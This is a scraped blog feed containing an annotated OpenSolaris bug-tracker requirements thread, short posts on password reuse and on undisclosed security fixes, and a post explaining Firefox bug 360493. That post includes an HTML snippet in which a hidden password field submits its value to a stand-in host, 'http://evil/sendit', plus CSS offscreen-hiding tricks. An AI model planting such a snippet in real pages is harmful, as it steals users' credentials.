                            listed as a requirement.&nbsp;-Timeless 7/19/07
                            12:48 AM</span>&nbsp;<br>
                            <br>
                            | A candidate DTS that provides a monotonically
                            increasing URI<br>
                            | component, such as a "counter", would satisify
                            this requirement.<br>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7><em>urlbase</em>/show_bug.cgi?id=<em>ID</em>
                            -Timeless 7/19/07 12:51 AM</span>&nbsp;<br>
                            <br>
                            |<br>
                            | C13. Tool community health<br>
                            |<br>
                            | The community or author of the candidate DTS needs
                            to be active<br>
                            | and engaged with their user population. The
                            ability of the<br>
                            | candidate DTS's community to absorb, directly or
                            through a<br>
                            | liaison, the defects and feature requests of the
                            OpenSolaris<br>
                            | community should be estimated, preferably by a
                            direct inquiry to<br>
                            | the candidate DTS
                            community<span class=writely-comment style=BACKGROUND-COLOR:#ffe3c0></span>
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>Bugzilla
                            is generally very active and able to absorb defects
                            and feature requests, particularly if Sun is
                            interested in contributing code. -Mkanat 7/30/07
                            10:40 PM</span>&nbsp;<br>
                            <br>
                            | C14. OpenSolaris community implementation
                            expertise<br>
                            |<br>
                            | One or more contributors within the OpenSolaris
                            community need<br>
                            | to be able to assess potential defects in the
                            implementation of<br>
                            | the candidate DTS and potentially participate in
                            the development<br>
                            | of new features or supporting tools for the
                            candidate DTS.<br>
                            |<span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>This
                            is left as an exercise for someone else. It seems
                            that a number</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7>of
                            people in the OpenSolaris community have some
                            familiarity with Bugzilla.&nbsp;-Timeless 7/19/07
                            12:53 AM</span>&nbsp;<br>
                            <br>
                            | C15. Transactional operations and corruption
                            recovery<br>
                            <br>
                            The operations on the candidate's defect datastore
                            should have<br>
                            defined semantics, in particular identifying
                            non-atomic<br>
                            transactions and mechanisms for recovery from a
                            corrupted<br>
                            datastore. This requirement may be met by the
                            underlying<br>
                            datastore technology.
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>This
                            is mostly met by MySQL. Thanks to table locking,
                            there should be no non-atomic operations, and table
                            corruption can be repaired with standard MySQL
                            tools.-Mkanat 7/30/07 10:42 PM</span><br>
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>There's
                            also sanitycheck.cgi, which checks the database for
                            consistency from the viewpoint of Bugzilla and
                            offers automatic repairs. -Mkanat 7/30/07 10:43
                            PM</span>&nbsp;<br>
                            <br>
                            <br>
                            | C16. Search capability<br>
                            |<br>
                            | An integrated search capability of the text
                            representation of<br>
                            | the defect corpus is a desired feature in the
                            candidate DTS. It<br>
                            | is possible to construct a search capability,
                            given E3 and E9,<br>
                            | but an facility integrated with the various client
                            components is<br>
                            | preferred.<br>
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>&nbsp;<a href=http://www.bugzilla.org/docs/3.0/html/query.html>http://www.bugzilla.org/docs/3.0/html/query.html</a>&nbsp;-Timeless
                            7/19/07 5:10 AM</span>&nbsp;<br>
                            |<br>
                            2.3 "Optional" requirements<br>
                            <br>
                            | O17. Attachment handling<br>
                            <br>
                            The legacy DTS manages large attachments as an
                            integrated<br>
                            feature, to manage system crash dumps, process
                            corefiles,<br>
                            application output, etc. related to the failures
                            captured by a<br>
                            defect report. Since a simple file archival service
                            can meet<br>
                            these requirements--once restricted access due to<br>
                            confidentiality is removed--the candidate DTS need
                            not provide<br>
                            its own attachment handling feature.
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>Bugzilla
                            does, however, have excellent attachment features.
                            It capable of storing attachements either in the DB,
                            on the filesystem, or both. -Mkanat 7/30/07 10:44
                            PM</span>&nbsp;<br>
                            <br>
                            <br>
                            3. Evaluations<br>
                            <br>
                            We anticipate a number of qualitative and
                            quantitative tests to<br>
                            evaluate the satisfaction of the various
                            requirements, where a<br>
                            "meets" or "does not meet" result is not applicable.<br>
                            <br>
                            3.1. Representational and performance criteria<br>
                            <br>
                            These criteria focus on the ability of the candidate
                            DTS to<br>
                            represent a large set of distinct, interrelated
                            defects. The<br>
                            | current Sun Microsystems defect corpus contains in
                            the vicinity of<br>
                            three million defect reports. Evaluations will be
                            performed on a<br>
                            | defect corpus derived from that published on
                            bugs.opensolaris.org; this<br>
                            corpus will have at least 100 000 defect reports.<br>
                            <span class=writely-comment id=writely-comment-id-dhmd4jxt style=BACKGROUND-COLOR:#ffffd7>Bugzilla
                            can easily manage&nbsp;400 000 reports,</span>
                          </p>
                          <p>
                            <span class=writely-comment style=BACKGROUND-COLOR:#ffffd7><a href=https://bugzilla.mozilla.org/report.cgi?x_axis_field=resolution&amp;y_axis_field=product&amp;z_axis_field=&amp;query_format=report-table&amp;format=table&amp;action=wrap>https://bugzilla.mozilla.org/report.cgi?x_axis_field=resolution&amp;y_axis_field=product&amp;z_axis_field=&amp;query_format=report-table&amp;format=table&amp;action=wrap</a>
                            &nbsp;-Timeless 7/19/07 5:26 AM</span>&nbsp;<br>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>Bugzilla
                            should easily be able to handle a virtually infinite
                            number of bug reports. Performance, in almost every
                            area, is not at all dependent upon the number of bug
                            reports in the DB.&nbsp; It is already designed with
                            scalability in mind. We're also very willing to work
                            with any user in improving any significant
                            performance issues discovered. -Mkanat 7/30/07 10:45
                            PM</span>&nbsp;<br>
                            <br>
                            The expected set of meaningful operations for
                            performance evaluation<br>
                            are:<br>
                            <br>
                            - unresolved defects query against a product or
                            category,<br>
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>Open
                            bugs in the Bugzilla product (3000 bugs out of
                            400,000):
                            https://bugzilla.mozilla.org/buglist.cgi?query_format=advanced&amp;order=relevance+desc&amp;bug_status=__open__&amp;product=Bugzilla&nbsp;&nbsp;&nbsp;
                            -Mkanat 7/30/07 10:50 PM</span><br>
                          </p>
                          <p>
                            - defect query by keyword or other text label,
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>All
                            bugs with the word "bug" in the title (out of
                            400,000): http://tinyurl.com/34hva5 -Mkanat 7/30/07
                            10:55 PM</span><br>
                          </p>
                          <p>
                            - defects resolved by a single responsible engineer,<br>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>All
                            bugs in the Bugzilla product resolved by me:
                            http://tinyurl.com/3agto -Mkanat 7/30/07 10:56
                            PM</span>&nbsp;<br>
                            <br>
                            | Various candidate DTSs may provide notions of
                            defect classification,<br>
                            | state, importance, or other attributes. Queries
                            against these<br>
                            | attributes should be evaluated, equivalent to<br>
                            |<br>
                            | - defects in either a resolved or an unresolved
                            state, for a given<br>
                            | classification,
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>All
                            open bugs in the Testopia product:
                            http://tinyurl.com/2r8ore -Mkanat 7/30/07 11:00
                            PM</span><br>
                          </p>
                          <p>
                            | - defects addressed in a given build/release
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>All
                            bugs addressed in Bugzilla 3.0:
                            http://tinyurl.com/3e58kk -Mkanat 7/30/07 11:00
                            PM</span><br>
                          </p>
                          <p>
                            | - unresolved defects, ordered by importance
                          </p>
                          <p>
                            <span class=writely-comment id=writely-comment-id-dhns32bb style=BACKGROUND-COLOR:#d7ffff>Unresolved
                            bugs targeted to the Bugzilla 3.0 branch, ordered by
                            importance: http://tinyurl.com/2pafg2&nbsp; (note
                            that many of those bugs have not yet been assigned a
                            priority, and so show up at the top of the list)
                            -Mkanat 7/30/07 11:05 PM</span>&nbsp;<br>
                            |<br>
                            The candidate DTS will be evaluated for data
                            integrity by<br>
                            interruption of the set of operations by signal and
                            by machine<br>
                            failure.<br>
                            <br>
                            The safety of the candidate DTS with respect to file
                            system<br>
                            capabilities will be evaluated using ZFS
                            snapshot/clone technology<br>
                            for safe repository copies.<br>
                            <br>
                            3.2. Implementation criteria<br>
                            <br>
                            The candidate DTS implementation will be assessed by
                            a design and<br>
                            code review by an OpenSolaris contributor with
                            expertise in the<br>
                            implementation language of the candidate DTS.<br>
                            <br>
                            4. References<br>
                            <br>
                            [1] S. Hahn, "OpenSolaris: Defect tracking
                            relationships", 2007.<br>
                            <a href=http://blogs.sun.com/sch/entry/opensolaris_defect_tracking_relationships>http://blogs.sun.com/sch/entry/opensolaris_defect_tracking_relationships</a><br>
                            <br>
                            [2] OpenSolaris Distributed Source Code Management
                            Requirements, 2005.<br>
                            <br>
                            [3] IEEE Std 830-1998, "IEEE Recommended Practice
                            for Software<br>
                            Requirements Specifications", 1998.<br>
                            <br>
                            [4] K. Wesolowski, "Defect Management Requirements
                            in an Open<br>
                            Development Paradigm", 2006.<br>
                            |<br>
                            | [5] OpenID,
                            <a href=http://openid.net/>http://openid.net</a><br>
                            <br>
                            --<br>
                            sch at sun dot com
                            <a href=http://blogs.sun.com/sch/>http://blogs.sun.com/sch/</a><br>
                            _______________________________________________<br>
                            tools-discuss mailing list<br>
                            tools-discuss at opensolaris dot org<br>
                            <br>
                            <br>
                            <br>
                          </p>
                        </td>
                      </tr>
                      </tbody>
                    </table>
                  </td>
                </tr>
                </tbody>
              </table>
            </div>
          </div>
        </div>
        <table border=0 cellpadding=0 cellspacing=0 width=100%>
          <tbody>
          <tr>
            <td width=1%>
              <img alt="" border=0 height=1 src="http://viper.haque.net/~timeless/blog/134/OpenSolaris Draft DTS requirements Annotated_images/EXTERN_0002.gif" width=20>
            </td>
            <td width=99%>
              <div class=jive-message-list>
                <div class=jive-table>
                  <div class=jive-messagebox>
                    <table border=0 cellpadding=0 cellspacing=0 summary=Message width=100%>
                      <tbody>
                      <tr class=jive-odd valign=top>
                        <td class=jive-first width=1%>
                          <table border=0 cellpadding=0 cellspacing=0 width=150>
                            <tbody>
                            <tr>
                              <td>
                                <table border=0 cellpadding=0 cellspacing=0 width=100%>
                                  <tbody>
                                  <tr valign=top>
                                    <td style=PADDING:0px width=1%>
                                      <nobr><a href=http://www.opensolaris.org/jive/profile.jspa?userID=721 title=sommerfe>sommerfe</a>
                                      </nobr>
                                    </td>
                                    <td style=PADDING:0px width=99%>
                                      <br>
                                    </td>
                                  </tr>
                                  </tbody>
                                </table>
                                <br>
                                <span class=jive-description>Posts: 535<br>
                                From: Burlington, MA<br>
                                Registered: 3/21/05 </span>
                              </td>
                            </tr>
                            </tbody>
                          </table>
                        </td>
                        <td class=jive-last width=99%>
                          <table border=0 cellpadding=0 cellspacing=0 width=100%>
                            <tbody>
                            <tr valign=top>
                              <td width=1%>
                                <br>
                              </td>
                              <td width=98%>
                                <span class=jive-subject><a name=131095></a>Re:
                                Draft DTS requirements, 2 </span><br>
                                <span class=jive-description>Posted: Jun 19,
                                2007 3:23 PM &nbsp;
                                <nobr><a href=http://www.opensolaris.org/jive/message.jspa?messageID=131087#131087 title="Go to message"><img alt="in response to: Stephen Hahn" border=0 height=10 src="http://viper.haque.net/~timeless/blog/134/OpenSolaris Draft DTS requirements Annotated_images/EXTERN_0003.gif" width=10></a>
                                in response to:
                                <a href=http://www.opensolaris.org/jive/message.jspa?messageID=131087#131087 title="Go to message">Stephen
                                Hahn</a> </nobr><nobr><br>
                                <br>
                                </nobr></span>
                              </td>
                              <td width=1%>
                                <div class=jive-buttons>
                                  <table border=0 cellpadding=0 cellspacing=0>
                                    <tbody>
                                    <tr>
                                      <td>
                                        &nbsp;
                                      </td>
                                      <td class=jive-icon>
                                        <a href=http://www.opensolaris.org/jive/post%21reply.jspa?messageID=131095 title="Click to reply to this thread"><img alt="Click to reply to this thread" border=0 height=16 src="http://viper.haque.net/~timeless/blog/134/OpenSolaris Draft DTS requirements Annotated_images/EXTERN_0001.gif" width=16></a>
                                      </td>
                                      <td class=jive-icon-label>
                                        <a href=http://www.opensolaris.org/jive/post%21reply.jspa?messageID=131095 title="Click to reply to this thread">Reply</a>
                                      </td>
                                    </tr>
                                    </tbody>
                                  </table>
                                </div>
                              </td>
                            </tr>
                            <tr>
                              <td colspan=3 style="BORDER-TOP:1px solid #cccccc; FONT-FAMILY:Courier,monospace">
                                <br>
                                On Tue, 2007-06-19 at 13:53 -0700, Stephen Hahn
                                wrote:<br>
                                &gt; 2. The relationship between the development
                                branch and the<br>
                                &gt; maintenance branches of any particular
                                consolidation does not seem<br>
                                &gt; well understood. It seems premature to
                                conclude that a multiple<br>
                                &gt; release relationship belongs in the
                                community DTS, versus a<br>
                                &gt; distribution's annotations. We can come
                                back to this, perhaps as<br>
                                &gt; some of the candidate evaluations proceed.<br>
                                <br>
                                it also seems premature to conclude that there
                                will only ever be one<br>
                                community-controlled line of development for a
                                codebase and that as a<br>
                                result distributions would be the only consumers
                                of this feature.<br>
                                <br>
                                - Bill<br>
                                <br>
                                <br>
                                _______________________________________________<br>
                                tools-discus s mailing list<br>
                                tools-discuss at opensolaris dot org<br>
                                <br>
                                <br>
                                <br>
                              </td>
                            </tr>
                            </tbody>
                          </table>
                        </td>
                      </tr>
                      </tbody>
                    </table>
                  </div>
                </div>
              </div>
            </td>
          </tr>
          </tbody>
        </table>
        <table border=0 cellpadding=0 cellspacing=0 width=100%>
          <tbody>
          <tr>
            <td width=1%>
              <img alt="" border=0 height=1 src="http://viper.haque.net/~timeless/blog/134/OpenSolaris Draft DTS requirements Annotated_images/EXTERN_0002.gif" width=40>
            </td>
            <td width=99%>
              <div class=jive-message-list>
                <div class=jive-table>
                  <div class=jive-messagebox>
                    <table border=0 cellpadding=0 cellspacing=0 summary=Message width=100%>
                      <tbody>
                      <tr class=jive-even valign=top>
                        <td class=jive-first width=1%>
                          <table border=0 cellpadding=0 cellspacing=0 width=150>
                            <tbody>
                            <tr>
                              <td>
                                <span class=jive-guest><span title="Stephen Hahn">Stephen
                                Hahn </span><br>
                                <span title="sch at sun dot com">sch at sun dot
                                ... </span></span>
                              </td>
                            </tr>
                            </tbody>
                          </table>
                        </td>
                        <td class=jive-last width=99%>
                          <table border=0 cellpadding=0 cellspacing=0 width=100%>
                            <tbody>
                            <tr valign=top>
                              <td width=1%>
                                <br>
                              </td>
                              <td width=98%>
                                <span class=jive-subject><a name=131118></a>Re:
                                Draft DTS requirements, 2 </span><br>
                                <span class=jive-description>Posted: Jun 19,
                                2007 4:49 PM &nbsp;
                                <nobr><a href=http://www.opensolaris.org/jive/message.jspa?messageID=131095#131095 title="Go to message"><img alt="in response to: sommerfe" border=0 height=10 src="http://viper.haque.net/~timeless/blog/134/OpenSolaris Draft DTS requirements Annotated_images/EXTERN_0003.gif" width=10></a>
                                in response to:
                                <a href=http://www.opensolaris.org/jive/message.jspa?messageID=131095#131095 title="Go to message">sommerfe</a>
                                </nobr><nobr><br>
                                <br>
                                </nobr></span>
                              </td>
                              <td width=1%>
                                <div class=jive-buttons>
                                  <table border=0 cellpadding=0 cellspacing=0>
                                    <tbody>
                                    <tr>
                                      <td>
                                        &nbsp;
                                      </td>
                                      <td class=jive-icon>
                                        <a href=http://www.opensolaris.org/jive/post%21reply.jspa?messageID=131118 title="Click to reply to this thread"><img alt="Click to reply to this thread" border=0 height=16 src="http://viper.haque.net/~timeless/blog/134/OpenSolaris Draft DTS requirements Annotated_images/EXTERN_0001.gif" width=16></a>
                                      </td>
                                      <td class=jive-icon-label>
                                        <a href=http://www.opensolaris.org/jive/post%21reply.jspa?messageID=131118 title="Click to reply to this thread">Reply</a>
                                      </td>
                                    </tr>
                                    </tbody>
                                  </table>
                                </div>
                              </td>
                            </tr>
                            <tr>
                              <td colspan=3 style="BORDER-TOP:1px solid #cccccc; FONT-FAMILY:Courier,monospace">
                                <br>
                                * Bill Sommerfeld [2007-06-19 15:23]:<br>
                                &gt; On Tue, 2007-06-19 at 13:53 -0700, Stephen
                                Hahn wrote:<br>
                                &gt; &gt; 2. The relationship between the
                                development branch and the<br>
                                &gt; &gt; maintenance branches of any particular
                                consolidation does not seem<br>
                                &gt; &gt; well understood. It seems premature to
                                conclude that a multiple<br>
                                &gt; &gt; release relationship belongs in the
                                community DTS, versus a<br>
                                &gt; &gt; distribution's annotations. We can
                                come back to this, perhaps as<br>
                                &gt; &gt; some of the candidate evaluations
                                proceed.<br>
                                &gt;<br>
                                &gt; it also seems premature to conclude that
                                there will only ever be one<br>
                                &gt; community-controlled line of development
                                for a codebase and that as a<br>
                                &gt; result distributions would be the only
                                consumers of this feature.<br>
                                <br>
                                Sure, that's fair. I guess my point is really
                                that there seem to me<br>
                                to be a couple of ways to achieve multi-release
                                history for a defect,<br>
                                and I don't want to restrict it to the way
                                Bugster does it, at least<br>
                                until we've looked at one or two alternative
                                approaches.<br>
                                <br>
                                - Stephen<br>
                                <br>
                                --<br>
                                sch at sun dot com
                                <a href=http://blogs.sun.com/sch/>http://blogs.sun.com/sch/</a><br>
                                _______________________________________________<br>
                                tools-discuss mailing list<br>
                                tools-discuss at opensolaris dot org<br>
                                <br>
                                <br>
                                <br>
                              </td>
                            </tr>
                            </tbody>
                          </table>
                        </td>
                      </tr>
                      </tbody>
                    </table>
                  </div>
                </div>
              </div>
            </td>
          </tr>
          </tbody>
        </table>
        <div class=jive-message-list-footer>
          <table border=0 cellpadding=0 cellspacing=0 width=100%>
            <tbody>
            <tr>
              <td nowrap=nowrap width=1%>
                <br>
                <a href=http://www.opensolaris.org/jive/rss.jspa?feed=rss/rssmessages.jspa?threadID=33319 title="Point your RSS reader here for a feed of the latest messages in this thread"><img alt="" border=0 height=14 src="http://viper.haque.net/~timeless/blog/134/OpenSolaris Draft DTS requirements Annotated_images/EXTERN_0004.gif" width=24></a>
              </td>
              <td align=center width=98%>
                <table border=0 cellpadding=3 cellspacing=0>
                  <tbody>
                  <tr>
                    <td>
                      <a href=http://www.opensolaris.org/jive/forum.jspa?forumID=9><img alt="Go Back" border=0 height=16 src="http://viper.haque.net/~timeless/blog/134/OpenSolaris Draft DTS requirements Annotated_images/EXTERN_0005.gif" width=16></a>
                    </td>
                    <td>
                      <span class=jive-button-label><a href=http://www.opensolaris.org/jive/forum.jspa?forumID=9>Back
                      to Thread List</a> </span>
                    </td>
                  </tr>
                  </tbody>
                </table>
              </td>
              <td nowrap=nowrap width=1%>
                <br>
              </td>
            </tr>
            </tbody>
          </table>
        </div>
      </td>
      <td width=1%>
        <br>
      </td>
    </tr>
    </tbody>
  </table>
  <br>
</div>
<br>
<br>
<div style="MARGIN-TOP:1em; FONT-SIZE:95%; BACKGROUND-COLOR:white">
  <p style="MARGIN:0.6em 0pt 1em; FONT-SIZE:95%; COLOR:#777777; TEXT-ALIGN:center">
    <a href=http://www.opensolaris.org/os/tou/ style=COLOR:#555555>Terms of
    Use</a> |
    <a href=http://www.sun.com/privacy/ style=COLOR:#555555>Privacy</a> |
    <a href=http://www.opensolaris.org/os/trademark/ style=COLOR:#555555>Trademarks</a>
    |
    <a href=http://www.opensolaris.org/os/copyrights/ style=COLOR:#555555>Copyright
    Policy</a> |
    <a href=http://www.opensolaris.org/os/site_guidelines/ style=COLOR:#555555>Site
    Guidelines</a><br>
    Your use of this web site or any of its content or software indicates your
    agreement to be bound by these Terms of Use.<br>
    Copyright © 1995-2005 Sun Microsystems, Inc.<br>
    <span style=COLOR:#e76f00>Our lawyer is making us say that OpenSolaris is a
    trademark of Sun Microsystems, Inc.</span>
  </p>
</div>
<br>
<br></body>
</html>

  <span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=3be3e2ca393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/3be3e2ca393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=3be3e2ca393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/3be3e2ca393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Tue, 31 Jul 2007 06:55:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-3be3e2ca393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>But I don't like it when people steal my password!</title>
            <link>http://viper.haque.net/~timeless/blog/132/</link>
            <description><![CDATA[

   <title>But I don't like it when people steal my password!</title>
<link rel=stylesheet type="text/css" href="http://viper.haque.net/~timeless/blog/132/../blog.css">
<h1>But I don't like it when people steal my password!</h1>

<p>
<h3>What should you do if you can't trust your web sites?</h3>
You have bigger problems,
Hold them accountable.

<h3>Aren't you using a password manager?</h3>
It seems you are...
<p>
<h3>Why would you choose to use the same password on multiple servers?</h3>
:)

I'm a proponent of using randomly generated per account passwords

  <span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=3b3c10ae393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/3b3c10ae393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=3b3c10ae393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/3b3c10ae393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Wed, 22 Nov 2006 06:28:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-3b3c10ae393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>Firefox bug #360493: NEW: Cross-Site Forms + Password Manager = Security Failure ...</title>
            <link>http://viper.haque.net/~timeless/blog/131/</link>
            <description><![CDATA[

   

<h3>Is that the bug from slashdot?</h3>
<p>
Yes,
yes, the <a href="http://slashdot.org">/.</a> bug
</p>
<p>
It's a site bug.
Why people complain about web browsers is beyond me.
</p>
<p>
Can you elaborate?
</p>
<p>
If the web site can give you a login form that looks correct.
Who cares if <u>your web browser</u> might <i>give</i> it the password.
</p>
<p>
 Epiphany from FC6 is vulnerable,
 <a href="http://www.info-svc.com/news/11-21-2006/rcsr1">rcsr1</a>
</p>
<p>
<u>You</u> might <i>give</i> the password to the site <b>anyway</b>.
</p>
<p>
Am I arguing that auto fill in of passwords for pages on the wrong domains is NOT a bug?
</p>
<p>
Indeed, I'm arguing that it is <b>not</b> the <i>core</i> bug.
</p>
<p>
Fundamentally, I don't care if my browser happens to do it.
If the web server lets <u>me</u> be <i>tricked</i>, it's not the <u>browser's</u> <i>fault</i>;
It's the <u>web-master's</u> <i>fault</i>.
Further, if no web sites you trust are messed up, then the fact that the web browser has this behavior is <i>not a problem</i>.
</p>
<h3>Is mozilla entering saved passwords on pages not originating on the server you saved it for?</h3>
<p>
No, it doesn't do that.
The issue is that the passwords are restored based on the url for the page.
Not based on some random destination to which the page might choose to send the password.
</p>
<h3>Why isn't the form target url considered?</h3>

<p>
It's utterly pointless;
and it'll break Gmail, Passport, and most single sign on systems.
Imagine I have:
</p>
<p>
<pre>
&lt;form&gt;&lt;input id="password" type="hidden" onchange="form.action='http://evil/sendit';form.submit()"&gt;
</pre>
There's no action associated w/ the form when it is filled.
This isn't actually that uncommon....
</p>
<h3>So basically mozilla is auto-entering passwords for form fields, regardless from the url it's being sent to?</h3>
<p>
Right, it <b>can't</b> know where it's going,
that's decided much later and is subject to change <b>randomly</b>.
Oh and btw, the web page could encode the password into an image url and just ask for that url instead,
there is no real requirement that it submit a real form.
</p>
<p>
If the <u>page</u> you go to isn't <i>trustworthy</i>, then your problem is that the <u>page</u> isn't <i>trustworthy</i>.
<u>It really is that simple</u>.
</p>
<h3>Is a workaround is not to fill in passwords in invisible form entries?</h3>
<p>
No
</p>
<p>
Solving the "is this hidden" question is <b>hard</b>:
<pre>
 &lt;input style="left:-100px; top:-100px"&gt;
 &lt;input style="z-order:-1"&gt;
</pre>
Oh, it might be as well a visible element with position:absolute left: -1000px; top: -1000px;?
</p>
<p>
Good, you're getting the idea,
the point is that the web sites <u>you</u> visit <b>must</b> be <i>trustworthy</i>.
And if they aren't, you need to <b>scream</b> loudly at <u>them</u>,
or <b>take</b> your business elsewhere.
</p>
<h3>So the "bug" is mostly a website problem, but helped by a "browser feature"?</h3>
<p>
Right.
</p>

  <span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=39fa7244393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/39fa7244393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=39fa7244393411ddb2e991091f51a00aa00a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/39fa7244393411ddb2e991091f51a00aa00a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>timeless - &lt;timeless@gmail.com&gt;</author>
            <category>feed:b60f2338d7a5b72897d3a13b738ecf26</category>
            <pubDate>Wed, 22 Nov 2006 06:15:00 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-39fa7244393411ddb2e991091f51a00aa00a</guid>
        </item>
        <item>
            <title>The worst scourge</title>
            <link>http://viper.haque.net/~timeless/blog/129/</link>
            <description><![CDATA[

   <title>The worst scourge</title>
<link rel=stylesheet type="text/css" href="http://viper.haque.net/~timeless/blog/129/../blog.css">
<h1>The worst scourge</h1>

<h3>What's the problem?</h3>
<p>
the basic problem is that we have "hackers" who are scanning bonsai logs for references to security bugs.
when they find them, they read the diffs and try to find something that was fixed to be not exploitable.
if they find such a thing, they then try to write an exploit.
and then they unleash it on whatever portion of the world doesn't yet have the fix.
the way they find a bug that's "interesting" is that bugzilla explicitly tells them it's interesting.

<h3>Isn't this a common problem with open-source software that exposes SCM to the world?</h3>
<p>
yep

<h3>What could we do?</h3>
solution 1 is to have shadow bugs
<p>
<h3>How is Bugzilla telling them it's interesting if you have security bugs marked specifically as such and only allow security-based team members view security issues?</h3>

bugzilla says "you can't see this bug".
that instantly tells them it's interesting
<p>
<h3>How would we do this?</h3>
solution step a is to create a shadow bug
which has a vague problem statement, a patch, reviews, and a commit record pointing to it.

<h3>How would a shadow bug prevent it if it's created automatically?</h3>
it isn't created automatically,
it's created by hand.
<p>

now, the problem is then, people will eventually recognize the form and authors to look for for shadow bugs.
<p>
well, the best proposal i have for dealing w/ that is called hiding hay in a haystack.

basically i've filed the most bugs by far in bugzilla.
and i file lots of bugs often, and my bugs are often uselessly vague,
quickly patched, reviewed w/o comment, and resolved.
<p>
<h3>What does that make me?</h3>
That makes me the perfect haystack.

but, not everyone can file bugs as timeless.
because, well, i'm me.
<p>
<h3>What could we do?</h3>
we could either let people actually file bugs as me, or make me file security shadows
.
but, that gets a bit messy.

I'm actually ok with everyone filing or using me to file such bugs, so let's temporarily assume this problem is solved such that people don't try to stalk my bugs.
<p>
<h3>What will hackers do instead?</h3>
They'll try to recognize which specific set of people fix security bugs or review them.

<h3>How can we deal with this?</h3>
well, if the shadows and all other bugs don't tell you names.
<p>
just "experienced developer filed bug",
and "second experienced developer posted patch",
and "third experienced developer reviewed patch",

etc. then maybe there's no trace that people can follow.
<p>
<h3>Wouldn't that be more likely to cause confusion among non-security members that don't have malicious intent?</h3>
one problem set at a time.

in short, the goal is that some long time into the future the security bugs would be declassified and they'd then establish a reference to the shadow bugs.
the problem with doing this is that people will learn whatever patterns we leave. The goal of the following proposal is to make it such that there isn't much in the way for them to see without first paying so much to us as contributors that their involvement should preclude them from attacking us.
<p>
<a href="http://viper.haque.net/~timeless/blog/129/../130/">level stepping the playing field</a>

